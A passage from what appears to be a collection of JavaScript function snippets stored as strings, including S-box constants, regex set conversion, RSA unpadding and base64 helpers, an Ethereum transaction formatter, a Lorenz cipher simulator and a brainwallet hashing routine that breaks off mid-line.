0x9883fe66, 0x2ec40581, 0x763953c3, 0x01d6692e, 0xd3a0c108, 0xa1e7160e, 0xe4f2dfa6, 0x693ed285, 0x74904698, 0x4c2b0edd, 0x4f757656, 0x5d393378, 0xa132234f, 0x3d321c5d, 0xc3f5e194, 0x4b269301, 0xc79f022f, 0x3c997e7e, 0x5e4f9504, 0x3ffafbbd, 0x76f7ad0e, 0x296693f4, 0x3d1fce6f, 0xc61e45be, 0xd3b5ab34, 0xf72bf9b7, 0x1b0434c0, 0x4e72b567, 0x5592a33d, 0xb5229301, 0xcfd2a87f, 0x60aeb767, 0x1814386b, 0x30bcc33d, 0x38a0c07d, 0xfd1606f2, 0xc363519b, 0x589dd390, 0x5479f8e6, 0x1cb8d647, 0x97fd61a9, 0xea7759f4, 0x2d57539d, 0x569a58cf, 0xe84e63ad, 0x462e1b78, 0x6580f87e, 0xf3817914, 0x91da55f4, 0x40a230f3, 0xd1988f35, 0xb6e318d2, 0x3ffa50bc, 0x3d40f021, 0xc3c0bdae, 0x4958c24c, 0x518f36b2, 0x84b1d370, 0x0fedce83, 0x878ddada, 0xf2a279c7, 0x94e01be8, 0x90716f4b, 0x954b8aa3];\n\n sBox[7] = [0xe216300d, 0xbbddfffc, 0xa7ebdabd, 0x35648095, 0x7789f8b7, 0xe6c1121b, 0x0e241600, 0x052ce8b5, 0x11a9cfb0, 0xe5952f11, 0xece7990a, 0x9386d174, 0x2a42931c, 0x76e38111, 0xb12def3a, 0x37ddddfc, 0xde9adeb1, 0x0a0cc32c, 0xbe197029, 0x84a00940, 0xbb243a0f, 0xb4d137cf, 0xb44e79f0, 0x049eedfd, 0x0b15a15d, 0x480d3168, 0x8bbbde5a, 0x669ded42, 0xc7ece831, 0x3f8f95e7, 0x72df191b, 0x7580330d, 0x94074251, 0x5c7dcdfa, 0xabbe6d63, 0xaa402164, 0xb301d40a, 0x02e7d1ca, 0x53571dae, 0x7a3182a2, 0x12a8ddec, 0xfdaa335d, 0x176f43e8, 0x71fb46d4, 0x38129022, 0xce949ad4, 0xb84769ad, 0x965bd862, 0x82f3d055, 0x66fb9767, 0x15b80b4e, 0x1d5b47a0, 0x4cfde06f, 0xc28ec4b8, 0x57e8726e, 0x647a78fc, 0x99865d44, 0x608bd593, 0x6c200e03, 0x39dc5ff6, 0x5d0b00a3, 0xae63aff2, 0x7e8bd632, 0x70108c0c, 0xbbd35049, 0x2998df04, 0x980cf42a, 0x9b6df491, 0x9e7edd53, 0x06918548, 0x58cb7e07, 0x3b74ef2e, 0x522fffb1, 0xd24708cc, 0x1c7e27cd, 0xa4eb215b, 0x3cf1d2e2, 0x19b47a38, 0x424f7618, 0x35856039, 0x9d17dee7, 0x27eb35e6, 0xc9aff67b, 0x36baf5b8, 0x09c467cd, 0xc18910b1, 0xe11dbf7b, 0x06cd1af8, 0x7170c608, 0x2d5e3354, 0xd4de495a, 0x64c6d006, 0xbcc0c62c, 0x3dd00db3, 0x708f8f34, 0x77d51b42, 0x264f620f, 0x24b8d2bf, 0x15c1b79e, 0x46a52564, 0xf8d7e54e, 0x3e378160, 0x7895cda5, 0x859c15a5, 0xe6459788, 0xc37bc75f, 0xdb07ba0c, 0x0676a3ab, 0x7f229b1e, 0x31842e7b, 0x24259fd7, 0xf8bef472, 0x835ffcb8, 0x6df4c1f2, 0x96f5b195, 0xfd0af0fc, 0xb0fe134c, 0xe2506d3d, 0x4f9b12ea, 0xf215f225, 0xa223736f, 0x9fb4c428, 0x25d04979, 0x34c713f8, 0xc4618187, 0xea7a6e98, 0x7cd16efc, 0x1436876c, 0xf1544107, 0xbedeee14, 0x56e9af27, 0xa04aa441, 0x3cf7c899, 0x92ecbae6, 0xdd67016d, 0x151682eb, 0xa842eedf, 0xfdba60b4, 0xf1907b75, 0x20e3030f, 0x24d8c29e, 0xe139673b, 0xefa63fb8, 0x71873054, 0xb6f2cf3b, 0x9f326442, 0xcb15a4cc, 0xb01a4504, 0xf1e47d8d, 0x844a1be5, 0xbae7dfdc, 0x42cbda70, 0xcd7dae0a, 0x57e85b7a, 0xd53f5af6, 0x20cf4d8c, 0xcea4d428, 0x79d130a4, 0x3486ebfb, 0x33d3cddc, 0x77853b53, 0x37effcb5, 0xc5068778, 0xe580b3e6, 0x4e68b8f4, 0xc5c8b37e, 0x0d809ea2, 0x398feb7c, 0x132a4f94, 0x43b7950e, 0x2fee7d1c, 0x223613bd, 0xdd06caa2, 0x37df932b, 0xc4248289, 0xacf3ebc3, 0x5715f6b7, 0xef3478dd, 0xf267616f, 0xc148cbe4, 0x9052815e, 0x5e410fab, 0xb48a2465, 0x2eda7fa4, 0xe87b40e4, 0xe98ea084, 0x5889e9e1, 0xefd390fc, 0xdd07d35b, 0xdb485694, 0x38d7e5b2, 0x57720101, 0x730edebc, 0x5b643113, 0x94917e4f, 0x503c2fba, 0x646f1282, 0x7523d24a, 0xe0779695, 0xf9c17a8f, 0x7a5b2121, 0xd187b896, 0x29263a4d, 0xba510cdf, 0x81f47c9f, 0xad1163ed, 0xea7b5965, 0x1a00726e, 0x11403092, 0x00da6d77, 0x4a0cdd61, 0xad1f4603, 0x605bdfb0, 0x9eedc364, 0x22ebe6a8, 0xcee7d28a, 0xa0e736a0, 0x5564a6b9, 0x10853209, 0xc7eb8f37, 0x2de705ca, 0x8951570f, 0xdf09822b, 0xbd691a6c, 0xaa12e4f2, 0x87451c0f, 0xe0f6a27a, 0x3ada4819, 0x4cf1764f, 0x0d771c2b, 0x67cdb156, 0x350d8384, 0x5938fa0f, 0x42399ef3, 0x36997b07, 0x0e84093d, 0x4aa93e61, 0x8360d87b, 0x1fa98b0c, 0x1149382c, 0xe97625a5, 0x0614d1b7, 0x0e25244b, 0x0c768347, 0x589e8d82, 0x0d2059d1, 0xa466bb1e, 0xf8da0a82, 0x04f19130, 0xba6e4ec0, 0x99265164, 0x1ee7230d, 0x50b2ad80, 0xeaee6801, 0x8db2a283, 0xea8bf59e];\n}", "function bitarray2set(l, output_inverted_variant) {\n function i2c(i) {\n var c;\n\n switch (i) {\n case 10:\n return '\\\\n';\n\n case 13:\n return '\\\\r';\n\n case 9:\n return '\\\\t';\n\n case 8:\n return '\\\\b';\n\n case 12:\n return '\\\\f';\n\n case 11:\n return '\\\\v';\n\n case 45: // ASCII/Unicode for '-' dash\n return '\\\\-';\n\n case 91: // '['\n return '\\\\[';\n\n case 92: // '\\\\'\n return '\\\\\\\\';\n\n case 93: // ']'\n return '\\\\]';\n\n case 94: // ']'\n return '\\\\^';\n }\n // Check and warn user about Unicode Supplementary Plane content as that will be FRIED!\n if (i >= 0xD800 && i < 0xDFFF) {\n throw new Error(\"You have Unicode Supplementary Plane content in a regex set: JavaScript has severe problems with Supplementary Plane content, particularly in regexes, so you are kindly required to get rid of this stuff. Sorry! (Offending UCS-2 code which triggered this: 0x\" + i.toString(16) + \")\");\n }\n if (i < 32\n || i > 0xFFF0 /* Unicode Specials, also in UTF16 */\n || (i >= 0xD800 && i < 0xDFFF) /* Unicode Supplementary Planes; we're TOAST in JavaScript as we're NOT UTF-16 but UCS-2! */\n || String.fromCharCode(i).match(/[\\u2028\\u2029]/) /* Code compilation via `new Function()` does not like to see these, or rather: treats them as just another form of CRLF, which breaks your generated regex code! */\n ) {\n // Detail about a detail:\n // U+2028 and U+2029 are part of the `\\s` regex escape code (`\\s` and `[\\s]` match either of these) and when placed in a JavaScript\n // source file verbatim (without escaping it as a `\\uNNNN` item) then JavaScript will interpret it as such and consequently report\n // a b0rked generated parser, as the generated code would include this regex right here.\n // Hence we MUST escape these buggers everywhere we go...\n c = '0000' + i.toString(16);\n return '\\\\u' + c.substr(c.length - 4);\n }\n return String.fromCharCode(i);\n }\n\n // construct the inverse(?) set from the mark-set:\n //\n // Before we do that, we inject a sentinel so that our inner loops\n // below can be simple and fast:\n l[65536] = 1;\n // now reconstruct the regex set:\n var rv = [];\n var i, j;\n var entire_range_is_marked = false;\n if (output_inverted_variant) {\n // generate the inverted set, hence all unmarked slots are part of the output range:\n i = 0;\n while (i <= 65535) {\n // find first character not in original set:\n while (l[i]) {\n i++;\n }\n if (i > 65535) {\n break;\n }\n // find next character not in original set:\n for (j = i + 1; !l[j]; j++) {} /* empty loop */\n // generate subset:\n rv.push(i2c(i));\n if (j - 1 > i) {\n entire_range_is_marked = (i === 0 && j === 65536);\n rv.push((j - 2 > i ? '-' : '') + i2c(j - 1));\n }\n i = j;\n }\n } else {\n // generate the non-inverted set, hence all logic checks are inverted here...\n i = 0;\n while (i <= 65535) {\n // find first character not in original set:\n while (!l[i]) {\n i++;\n }\n if (i > 65535) {\n break;\n }\n // find next character not in original set:\n for (j = i + 1; l[j]; j++) {} /* empty loop */\n if (j > 65536) {\n j = 65536;\n }\n // generate subset:\n rv.push(i2c(i));\n if (j - 1 > i) {\n entire_range_is_marked = (i === 0 && j === 65536);\n rv.push((j - 2 > i ? '-' : '') + i2c(j - 1));\n }\n i = j;\n }\n }\n\n // When there's nothing in the output we output a special 'match-nothing' regex: `[^\\S\\s]`.\n // When we find the entire Unicode range is in the output match set, we also replace this with\n // a shorthand regex: `[\\S\\s]` (thus replacing the `[\\u0000-\\uffff]` regex we generated here).\n var s;\n if (!rv.length) {\n // entire range turnes out to be EXCLUDED:\n s = '^\\\\S\\\\s';\n } else if (entire_range_is_marked) {\n // entire range turnes out to be INCLUDED:\n s = '\\\\S\\\\s';\n } else {\n s = rv.join('');\n }\n\n return s;\n}", "function deconvertNotes(notes) {\n if (notes.ver <= 5) {\n self.log(\" Is v5\");\n return deflateNotes(notes);\n }\n else if (notes.ver <= 6) {\n self.log(\" Is v6\");\n notes = deflateNotes(notes);\n return compressBlob(notes);\n }\n return notes;\n\n // Utilities\n function compressBlob(notes) {\n // Make way for the blob!\n var users = JSON.stringify(notes.users);\n delete notes.users;\n\n notes.blob = TBUtils.zlibDeflate(users);\n return notes;\n }\n }", "getQbusInputs(charZin) {\n // Zbits - the bits from the current character from the cipher tape.\n this.Zbits = this.ITAlookup[charZin].split(\"\");\n if (this.qbusin.Z === \"Z\") {\n // direct Z\n this.Qbits = this.Zbits;\n } else if (this.qbusin.Z === \"ΔZ\") {\n // delta Z, the Bitwise XOR of this character Zbits + last character Zbits\n for (let b=0;b<5;b++) {\n this.Qbits[b] = this.Zbits[b] ^ this.ZbitsOneBack[b];\n }\n }\n this.ZbitsOneBack = this.Zbits.slice(); // copy value of object, not reference\n\n // Xbits - the current Chi wheel bits\n for (let b=0;b<5;b++) {\n this.Xbits[b] = this.rings.X[b+1][this.Xptr[b]-1];\n }\n if (this.qbusin.Chi !== \"\") {\n if (this.qbusin.Chi === \"Χ\") {\n // direct X added to Qbits\n for (let b=0;b<5;b++) {\n this.Qbits[b] = this.Qbits[b] ^ this.Xbits[b];\n }\n } else if (this.qbusin.Chi === \"ΔΧ\") {\n // delta X\n for (let b=0;b<5;b++) {\n this.Qbits[b] = this.Qbits[b] ^ this.Xbits[b];\n this.Qbits[b] = this.Qbits[b] ^ this.XbitsOneBack[b];\n }\n }\n }\n this.XbitsOneBack = this.Xbits.slice();\n\n // Sbits - the current Psi wheel bits\n for (let b=0;b<5;b++) {\n this.Sbits[b] = this.rings.S[b+1][this.Sptr[b]-1];\n }\n if (this.qbusin.Psi !== \"\") {\n if (this.qbusin.Psi === \"Ψ\") {\n // direct S added to Qbits\n for (let b=0;b<5;b++) {\n this.Qbits[b] = this.Qbits[b] ^ this.Sbits[b];\n }\n } else if (this.qbusin.Psi === \"ΔΨ\") {\n // delta S\n for (let b=0;b<5;b++) {\n this.Qbits[b] = this.Qbits[b] ^ this.Sbits[b];\n this.Qbits[b] = this.Qbits[b] ^ this.SbitsOneBack[b];\n }\n }\n }\n this.SbitsOneBack = this.Sbits.slice();\n }", "assureUncompressed_() {\r\n if (this.bitDepth == '8a') {\r\n this.fromALaw();\r\n } else if (this.bitDepth == '8m') {\r\n this.fromMuLaw();\r\n } else if (this.bitDepth == '4') {\r\n this.fromIMAADPCM();\r\n }\r\n }", "function pkcs1unpad2(d, n) {\n var b = d.toByteArray();\n var i = 0;\n while (i < b.length && b[i] == 0)++i;\n if (b.length - i != n - 1 || b[i] != 2)\n return null;\n ++i;\n while (b[i] != 0)\n if (++i >= b.length) return null;\n var ret = \"\";\n while (++i < b.length) {\n var c = b[i] & 255;\n if (c < 128) { // utf-8 decode\n ret += String.fromCharCode(c);\n } else if ((c > 191) && (c < 224)) {\n ret += String.fromCharCode(((c & 31) << 6) | (b[i + 1] & 63));\n ++i;\n } else {\n ret += String.fromCharCode(((c & 15) << 12) | ((b[i + 1] & 63) << 6) | (b[i + 2] & 63));\n i += 2;\n }\n }\n return ret;\n }", "function b64tohex(s) {\n\t var ret = \"\"\n\t var i;\n\t var k = 0; // b64 state, 0-3\n\t var slop;\n\t for(i = 0; i < s.length; ++i) {\n\t if(s.charAt(i) == b64pad) break;\n\t v = b64map.indexOf(s.charAt(i));\n\t if(v < 0) continue;\n\t if(k == 0) {\n\t ret += int2char(v >> 2);\n\t slop = v & 3;\n\t k = 1;\n\t }\n\t else if(k == 1) {\n\t ret += int2char((slop << 2) | (v >> 4));\n\t slop = v & 0xf;\n\t k = 2;\n\t }\n\t else if(k == 2) {\n\t ret += int2char(slop);\n\t ret += int2char(v >> 2);\n\t slop = v & 3;\n\t k = 3;\n\t }\n\t else {\n\t ret += int2char((slop << 2) | (v >> 4));\n\t ret += int2char(v & 0xf);\n\t k = 0;\n\t }\n\t }\n\t if(k == 1)\n\t ret += int2char(slop << 2);\n\t return ret;\n\t}", "function b64tohex(s) {\n var ret = \"\";\n var i;\n var k = 0; // b64 state, 0-3\n var slop;\n var v;\n for(i = 0; i < s.length; ++i) {\n if(s.charAt(i) == b64padchar) break;\n v = b64map.indexOf(s.charAt(i));\n if(v < 0) continue;\n if(k == 0) {\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 1;\n }\n else if(k == 1) {\n ret += int2char((slop << 2) | (v >> 4));\n slop = v & 0xf;\n k = 2;\n }\n else if(k == 2) {\n ret += int2char(slop);\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 3;\n }\n else {\n ret += int2char((slop << 2) | (v >> 4));\n ret += int2char(v & 0xf);\n k = 0;\n }\n }\n if(k == 1)\n ret += int2char(slop << 2);\n return ret;\n}", "function pkcs1unpad2(d, n) {\n var b = d.toByteArray();\n var i = 0;\n while (i < b.length && b[i] == 0) {\n ++i;\n }if (b.length - i != n - 1 || b[i] != 2) return null;\n ++i;\n while (b[i] != 0) {\n if (++i >= b.length) return null;\n }var ret = \"\";\n while (++i < b.length) {\n var c = b[i] & 255;\n if (c < 128) {\n // utf-8 decode\n ret += String.fromCharCode(c);\n } else if (c > 191 && c < 224) {\n ret += String.fromCharCode((c & 31) << 6 | b[i + 1] & 63);\n ++i;\n } else {\n ret += String.fromCharCode((c & 15) << 12 | (b[i + 1] & 63) << 6 | b[i + 2] & 63);\n i += 2;\n }\n }\n return ret;\n }", "assureUncompressed_() {\n if (this.bitDepth == '8a') {\n this.fromALaw();\n } else if (this.bitDepth == '8m') {\n this.fromMuLaw();\n } else if (this.bitDepth == '4') {\n this.fromIMAADPCM();\n }\n }", "toBytes(bytes) {\r\n const recip = new FieldElement();\r\n const x = new FieldElement();\r\n const y = new FieldElement();\r\n recip.invert(this.Z);\r\n x.mul(this.X, recip);\r\n y.mul(this.Y, recip);\r\n y.toBytes(bytes);\r\n bytes[31] ^= x.isNegative() << 7;\r\n }", "function b64tohex(s) {\n var ret = \"\"\n var i;\n var k = 0; // b64 state, 0-3\n var slop;\n for(i = 0; i < s.length; ++i) {\n if(s.charAt(i) == b64pad) break;\n v = b64map.indexOf(s.charAt(i));\n if(v < 0) continue;\n if(k == 0) {\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 1;\n }\n else if(k == 1) {\n ret += int2char((slop << 2) | (v >> 4));\n slop = v & 0xf;\n k = 2;\n }\n else if(k == 2) {\n ret += int2char(slop);\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 3;\n }\n else {\n ret += int2char((slop << 2) | (v >> 4));\n ret += int2char(v & 0xf);\n k = 0;\n }\n }\n if(k == 1)\n ret += int2char(slop << 2);\n return ret;\n}", "function decode(data) {\n\tlet intext = false;\n\tlet bits = '';\n\n\tfor (let i = 0; i < data.length; i++) {\n\t\tif (intext) {\n\t\t\tif (data[i] == bit0)\n\t\t\t\tbits += bit0;\n\t\t\tif (data[i] == bit1)\n\t\t\t\tbits += bit1;\n\t\t\tconsole.log('bit'+bits + '| |' + bit1 + '| |' + bit0)\n\t\t}\n\n\t\tif (istext(data[i])) intext = true;\n\t\tif (iseol (data[i])) intext = false;\n\t}\n\treturn bits;\n}", "function b64tohex(s) {\n let ret = '';\n let i;\n let k = 0; // b64 state, 0-3\n let slop;\n for (i = 0; i < s.length; ++i) {\n if (s.charAt(i) == b64padchar) break;\n v = b64map.indexOf(s.charAt(i));\n if (v < 0) continue;\n if (k == 0) {\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 1;\n } else if (k == 1) {\n ret += int2char((slop << 2) | (v >> 4));\n slop = v & 0xf;\n k = 2;\n } else if (k == 2) {\n ret += int2char(slop);\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 3;\n } else {\n ret += int2char((slop << 2) | (v >> 4));\n ret += int2char(v & 0xf);\n k = 0;\n }\n }\n if (k == 1) ret += int2char(slop << 2);\n return ret;\n}", "function set2bitarray(bitarr, s) {\n var orig = s;\n var set_is_inverted = false;\n var apply = [];\n\n function mark(d1, d2) {\n if (d2 == null) d2 = d1;\n for (var i = d1; i <= d2; i++) {\n bitarr[i] = true;\n }\n }\n\n function exec() {\n // array gets sorted on entry [0] of each sub-array\n apply.sort(function (a, b) {\n return a[0] - b[0];\n });\n\n // When we have marked all slots, '^' NEGATES the set, hence we flip all slots:\n if (set_is_inverted) {\n for (var i = 0; i < 65536; i++) {\n bitarr[i] = !bitarr[i];\n }\n }\n }\n\n function eval_escaped_code(s) {\n // decode escaped code? If none, just take the character as-is\n if (s.indexOf('\\\\') === 0) {\n var l = s.substr(0, 2);\n switch (l) {\n case '\\\\c':\n var c = s.charCodeAt(2) - 'A'.charCodeAt(0) + 1;\n return String.fromCharCode(c);\n\n case '\\\\x':\n s = s.substr(2);\n var c = parseInt(s, 16);\n return String.fromCharCode(c);\n\n case '\\\\u':\n s = s.substr(2);\n if (s[0] === '{') {\n s = s.substr(1, s.length - 2);\n }\n var c = parseInt(s, 16);\n return String.fromCharCode(c);\n\n case '\\\\0':\n case '\\\\1':\n case '\\\\2':\n case '\\\\3':\n case '\\\\4':\n case '\\\\5':\n case '\\\\6':\n case '\\\\7':\n s = s.substr(1);\n var c = parseInt(s, 8);\n return String.fromCharCode(c);\n\n case '\\\\r':\n return '\\r';\n\n case '\\\\n':\n return '\\n';\n\n case '\\\\v':\n return '\\v';\n\n case '\\\\f':\n return '\\f';\n\n case '\\\\t':\n return '\\t';\n\n case '\\\\r':\n return '\\r';\n\n default:\n // just the chracter itself:\n return s.substr(1);\n }\n } else {\n return s;\n }\n }\n\n if (s && s.length) {\n // inverted set?\n if (s[0] === '^') {\n set_is_inverted = !set_is_inverted;\n s = s.substr(1);\n }\n\n // BITARR collects flags for characters set. Inversion means the complement set of character is st instead.\n // This results in an OR operations when sets are joined/chained.\n\n var chr_re = /^(?:[^\\\\]|\\\\[^cxu0-9]|\\\\[0-9]{1,3}|\\\\c[A-Z]|\\\\x[0-9a-fA-F]{2}|\\\\u[0-9a-fA-F]{4}|\\\\u\\{[0-9a-fA-F]\\}{4})/;\n var xregexp_unicode_escape_re = /^\\{[A-Za-z0-9 \\-\\._]+\\}/; // Matches the XRegExp Unicode escape braced part, e.g. `{Number}`\n\n while (s.length) {\n var c1 = s.match(chr_re);\n if (!c1) {\n // hit an illegal escape sequence? cope anyway!\n c1 = s[0];\n } else {\n c1 = c1[0];\n // Quick hack for XRegExp escapes inside a regex `[...]` set definition: we *could* try to keep those\n // intact but it's easier to unfold them here; this is not nice for when the grammar specifies explicit\n // XRegExp support, but alas, we'll get there when we get there... ;-)\n switch (c1) {\n case '\\\\p':\n s = s.substr(c1.length);\n var c2 = s.match(xregexp_unicode_escape_re);\n if (c2) {\n c2 = c2[0];\n s = s.substr(c2.length);\n // expand escape:\n var xr = new XRegExp('[' + c1 + c2 + ']'); // TODO: case-insensitive grammar???\n var xs = '' + xr;\n // remove the wrapping `/[...]/`:\n xs = xs.substr(2, xs.length - 4);\n // inject back into source string:\n s = xs + s;\n continue;\n }\n break;\n\n case '\\\\S':\n case '\\\\s':\n case '\\\\W':\n case '\\\\w':\n case '\\\\d':\n case '\\\\D':\n // these can't participate in a range, but need to be treated special:\n s = s.substr(c1.length);\n switch (c1[1]) {\n case 'S':\n // [^ \\f\\n\\r\\t\\v\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]\n set2bitarray(bitarr, '^ \\f\\n\\r\\t\\v\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff');\n continue;\n\n case 's':\n // [ \\f\\n\\r\\t\\v\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]\n set2bitarray(bitarr, ' \\f\\n\\r\\t\\v\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff');\n continue;\n\n case 'D':\n // [^0-9]\n set2bitarray(bitarr, '^0-9');\n continue;\n\n case 'd':\n // [0-9]\n set2bitarray(bitarr, '0-9');\n continue;\n\n case 'W':\n // [^A-Za-z0-9_]\n set2bitarray(bitarr, '^A-Za-z0-9_');\n continue;\n\n case 'w':\n // [A-Za-z0-9_]\n set2bitarray(bitarr, 'A-Za-z0-9_');\n continue;\n }\n continue;\n\n case '\\\\b':\n // matches a backspace: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions#special-backspace\n c1 = '\\u0008';\n break;\n }\n }\n var v1 = eval_escaped_code(c1);\n v1 = v1.charCodeAt(0);\n s = s.substr(c1.length);\n\n if (s[0] === '-' && s.length >= 2) {\n // we can expect a range like 'a-z':\n s = s.substr(1);\n var c2 = s.match(chr_re);\n if (!c2) {\n // hit an illegal escape sequence? cope anyway!\n c2 = s[0];\n } else {\n c2 = c2[0];\n }\n var v2 = eval_escaped_code(c2);\n v2 = v2.charCodeAt(0);\n s = s.substr(c2.length);\n\n // legal ranges go UP, not /DOWN!\n if (v1 <= v2) {\n mark(v1, v2);\n } else {\n console.warn(\"INVALID CHARACTER RANGE found in regex: \", { re: orig, start: c1, start_n: v1, end: c2, end_n: v2 });\n mark(v1);\n mark('-'.charCodeAt(0));\n mark(v2);\n }\n continue;\n }\n mark(v1);\n }\n\n // Since a regex like `[^]` should match everything(?really?), we don't need to check if the MARK\n // phase actually marked anything at all (apply.length > 0):\n exec();\n }\n}", "function hextob64(s) {\n return hex2b64(s);\n}", "function pkcs1unpad2(d,n) {\n var b = d.toByteArray();\n var i = 0;\n while(i < b.length && b[i] == 0) ++i;\n if(b.length-i != n-1 || b[i] != 2)\n return null;\n ++i;\n while(b[i] != 0)\n if(++i >= b.length) return null;\n var ret = \"\";\n while(++i < b.length) {\n var c = b[i] & 255;\n if(c < 128) { // utf-8 decode\n ret += String.fromCharCode(c);\n }\n else if((c > 191) && (c < 224)) {\n ret += String.fromCharCode(((c & 31) << 6) | (b[i+1] & 63));\n ++i;\n }\n else {\n ret += String.fromCharCode(((c & 15) << 12) | ((b[i+1] & 63) << 6) | (b[i+2] & 63));\n i += 2;\n }\n }\n return ret;\n}", "function pkcs1unpad2(d,n) {\n var b = d.toByteArray();\n var i = 0;\n while(i < b.length && b[i] == 0) ++i;\n if(b.length-i != n-1 || b[i] != 2)\n return null;\n ++i;\n while(b[i] != 0)\n if(++i >= b.length) return null;\n var ret = \"\";\n while(++i < b.length) {\n var c = b[i] & 255;\n if(c < 128) { // utf-8 decode\n ret += String.fromCharCode(c);\n }\n else if((c > 191) && (c < 224)) {\n ret += String.fromCharCode(((c & 31) << 6) | (b[i+1] & 63));\n ++i;\n }\n else {\n ret += String.fromCharCode(((c & 15) << 12) | ((b[i+1] & 63) << 6) | (b[i+2] & 63));\n i += 2;\n }\n }\n return ret;\n}", "static hexlifyTransaction(transaction, allowExtra) {\n // Check only allowed properties are given\n const allowed = Object(properties_lib_esm[\"g\" /* shallowCopy */])(allowedTransactionKeys);\n if (allowExtra) {\n for (const key in allowExtra) {\n if (allowExtra[key]) {\n allowed[key] = true;\n }\n }\n }\n Object(properties_lib_esm[\"b\" /* checkProperties */])(transaction, allowed);\n const result = {};\n // Some nodes (INFURA ropsten; INFURA mainnet is fine) do not like leading zeros.\n [\"gasLimit\", \"gasPrice\", \"type\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"nonce\", \"value\"].forEach(function (key) {\n if (transaction[key] == null) {\n return;\n }\n const value = Object(bytes_lib_esm[\"g\" /* hexValue */])(transaction[key]);\n if (key === \"gasLimit\") {\n key = \"gas\";\n }\n result[key] = value;\n });\n [\"from\", \"to\", \"data\"].forEach(function (key) {\n if (transaction[key] == null) {\n return;\n }\n result[key] = Object(bytes_lib_esm[\"i\" /* hexlify */])(transaction[key]);\n });\n if (transaction.accessList) {\n result[\"accessList\"] = Object(transactions_lib_esm[\"b\" /* accessListify */])(transaction.accessList);\n }\n return result;\n }", "static hexlifyTransaction(transaction, allowExtra) {\n // Check only allowed properties are given\n const allowed = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__ethersproject_properties__[\"c\" /* shallowCopy */])(allowedTransactionKeys);\n if (allowExtra) {\n for (const key in allowExtra) {\n if (allowExtra[key]) {\n allowed[key] = true;\n }\n }\n }\n __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_4__ethersproject_properties__[\"d\" /* checkProperties */])(transaction, allowed);\n const result = {};\n // Some nodes (INFURA ropsten; INFURA mainnet is fine) do not like leading zeros.\n [\"gasLimit\", \"gasPrice\", \"nonce\", \"value\"].forEach(function (key) {\n if (transaction[key] == null) {\n return;\n }\n const value = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_2__ethersproject_bytes__[\"g\" /* hexValue */])(transaction[key]);\n if (key === \"gasLimit\") {\n key = \"gas\";\n }\n result[key] = value;\n });\n [\"from\", \"to\", \"data\"].forEach(function (key) {\n if (transaction[key] == null) {\n return;\n }\n result[key] = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_2__ethersproject_bytes__[\"b\" /* hexlify */])(transaction[key]);\n });\n return result;\n }", "function convertToHex(input) {\n var i;\n var output = [];\n //console.log(\"\\nInput to convertToHex is :\"+input+\"\\n\");\n for (i in input) {\n output[i] = (input[i].charCodeAt(0)).toString(16);\n if (output[i].length!=2) {\n output[i]=\"0\"+output[i];\n }\n }\n //console.log(output);\n countFrequncy(output);\n return output;\n}", "function xorsign(){\n var r = h2d(\"0xa84ffd5a5031ed55e439857f1b6705b0ad60b05859456179d316ffd51101022e\");\t//config r\n var s = h2d(\"0x63feb8f431573ce394dc32af6a4cd97d45e804db483902edf7838d3a6cb3d43d\");\t//config s\n\n //0xe59a2207d46696913cd87c716a8d760c1344a0ae335c555397895698582801b2\n //0x59bb6310767c8a010df3e83eacab05d867aee50d90e4ae211aa2cfdfe585b865\n var hexnchc = stringToHex(\"nchcnchcnchcnchcnchcnchcnchcnchc\");\t\t\t\t\t\t//config str\n var nchc = h2d(hexnchc);\n //contract address only have 20 bytes padding to bytes32\n var con = \"\"; //config contract address\n var tmpcon = \"0x000000000000000000000000\"+con.substr(2); var conaddr = h2d(tmpcon);\n var bigs = bignum(s,base=10);\n var bigr = bignum(r,base=10);\n\n var bignchc = bignum(nchc,base=10);\n var bigcon = bignum(conaddr,base=10);\n\n var ansr = bigr.xor(bignchc);\n ansr = ansr.xor(bigcon);\n var resultr = ansr.toString(16);\n resultr = \"0x\"+resultr;\n console.log(resultr);\n\n var anss = bigs.xor(bignchc);\n anss = anss.xor(bigcon);\n var results = anss.toString(16);\n results = \"0x\"+results;\n console.log(results);\n}", "function decode(freqs, bits) {}", "function genCalcHash() {\r\n\t\t//document.write(\"<br>random_seed \"+random_seed);\t\t\t//test random_seed value in this function.\r\n\t\t\r\n\t\tif(random_seed == false){//if random_seed not active\r\n\t\t\t//using original brainwallet function\r\n\t\t\tvar hash = Crypto.SHA256($('#pass').val());\r\n\t\t}else{\r\n\t\t\t//using brainwallet with specified random_seed\r\n\t\t\t//using xor at hash(random_seed). This was been defined.\r\n\t\t\t\r\n\t\t\tvar hash_of_passphase = Crypto.SHA256($('#pass').val());\t//this value is depending from entered passphrase.\r\n\t\t\tvar hash = XOR_hex(hash_of_random_seed, hash_of_passphase); //XOR this two hashes\r\n\r\n\t\t\t//document.write(\"<br>hash_of_random_seed \"+hash_of_random_seed); \t//print value of hash random_seed\r\n\t\t\t//0a743e5fcb375bcc6b9a044b6df5feaa309e939d9a29275265c3ecdb025bf905\r\n\t\t\t\r\n\t\t\t//you can see it in converter page\r\n\t\t\t//uncomment this two strings and press sha256-button in the section Converter\r\n\t\t\t//$('#src').val(random_seed);\r\n\t\t\t//$('#enc_to [id=\"to_sha256\"]').addClass('active');\r\n\t\t\t//result 0a743e5fcb375bcc6b9a044b6df5feaa309e939d9a29275265c3ecdb025bf905\t\t\t\r\n\t\t}\r\n\t\r\n\t\t//document.write(\"<br>hash is secret exponent: \"+hash); //echo value of new secret exponent\r\n\t\t$('#hash').val(hash);\t\t//set up hash_of_random_seed in the field of form.\r\n\t\t$('#hash_random_seed').val(hash_of_random_seed);\t\t//set up secret exponent in the field of 